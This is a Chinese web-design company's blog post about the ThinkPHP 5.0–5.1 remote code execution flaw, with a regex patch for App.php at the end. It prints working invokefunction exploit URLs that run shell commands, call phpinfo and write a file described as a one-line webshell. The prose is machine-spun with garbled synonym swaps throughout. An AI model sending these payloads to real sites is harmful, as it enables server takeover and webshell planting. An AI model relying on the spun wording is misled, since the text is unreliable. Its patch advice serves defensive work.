成都网站建设,10年成都网站设计公司-验收合格再付款网站建设分站|模板网站分站|网站维护分站
banner
网站首页>建站大学>技术支持 >thinkphp最新漏洞修复方案

thinkphp最新漏洞修复方案

添加时间:2019-03-10 21:58:21 编辑:成都网站建设 文章内容: 1768个字 阅读时间:约5分钟

THINKPHP漏洞修复,对现有的thinkphp5.0到5.1全部版本举行了升级,以及补丁更新,这次更新重要是举行了一些毛病修复,最严峻的就是之前存在的SQL注入毛病,以及长途代码实行查询体系的毛病都举行了修复,官方本以为没有题目了,但是在现实的宁静检测当中发明,照旧存在题目,照旧可以长途代码举行注入,插入非法字符,提交到办事器后端中去。


关于这次发明的oday毛病,我们来看下官方之前更新的代码文件是怎么样的,更新的步伐文件路径是library文件夹下的think目次里的app.php,如下图:

毛病产生的缘故原由就在于这个控制器这里,整个thinkphp框架里的功效对控制器没有举行严酷的宁静过滤于查抄,使打击者可以伪造恶意参数举行逼迫插入,最基础的缘故原由就是正则的表达式写的欠好,导致可以绕过。

在controller获取控制器后,直接举行赋值,但是并没有对控制器的名举行严酷的检测,导致可以利用斜杠等特别标记来长途代码注入。

我们来搭建一下网站的情况,apache+mysql+Linux centos体系,搭建好的测试情况地点是http://127.0.01/anquan ,我们可以直接在index.php背面伪造打击参数,示比方下:

http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l

直接get方法提交到网站中去,可以直接查询到网站当前根目次的全部文件:

通过该毛病也可以直接长途代码注入实行phpinfo语句,查询当前的php版本,路径,扩展,以及php.ini存放的地点,都可以看得到,结构如下代码即可。

http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'

有些人大概会问了,既然都可以phpinfo,查询目次文件,可不可以getshell写网站木马文件到网站里呢? 答案是可以的,我们测试的时间是以一句话木马代码的写入到safe.php文件里。

http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27%27%20>%20safe.php

关于这次thinkphp的毛病使用以及阐发到此就竣事了,该毛病属于高危毛病,危害严峻性较大,许多升级更新补丁的网站都市受到打击,乃至有些网站会被挂马,那么该怎样修复thinkphp的毛病呢?更换之前的正规矩表达式即可,还必要对网站的目次举行权限摆设,防备天生php文件,对网站上的毛病举行修复,大概是对网站宁静防护参数举行重新设置,使他切合其时的网站情况。假如不懂怎样修复网站毛病,也可以找专业的网站宁静公司来处置惩罚,海内如Sinesafe和绿盟、启明星辰等宁静公司比力专业.

针对付这个环境,我们要对其library/think/App.php代码里的正规矩表达式举行变动,if (!preg_match('/^[A-Za-z][\w\.]*$/', $controller)) { throw new HttpException(404, 'controller not exists:' . $controller); }

解决方法:

'url_route_on'           => true,


上一篇:详解入驻淘宝直播平台规则下一篇:2019PHP通用SQL过滤方法
如没有特殊注明,本文均来自于啄木鸟建站原创,转载请注明来自https://www.40b.cn/jishu/167.html

相关新闻

推荐新闻

成都网站建设案例

网站首页联系我们电话咨询短信咨询QQ咨询

啄木鸟工作室,为建站而生!网站建设And建站套餐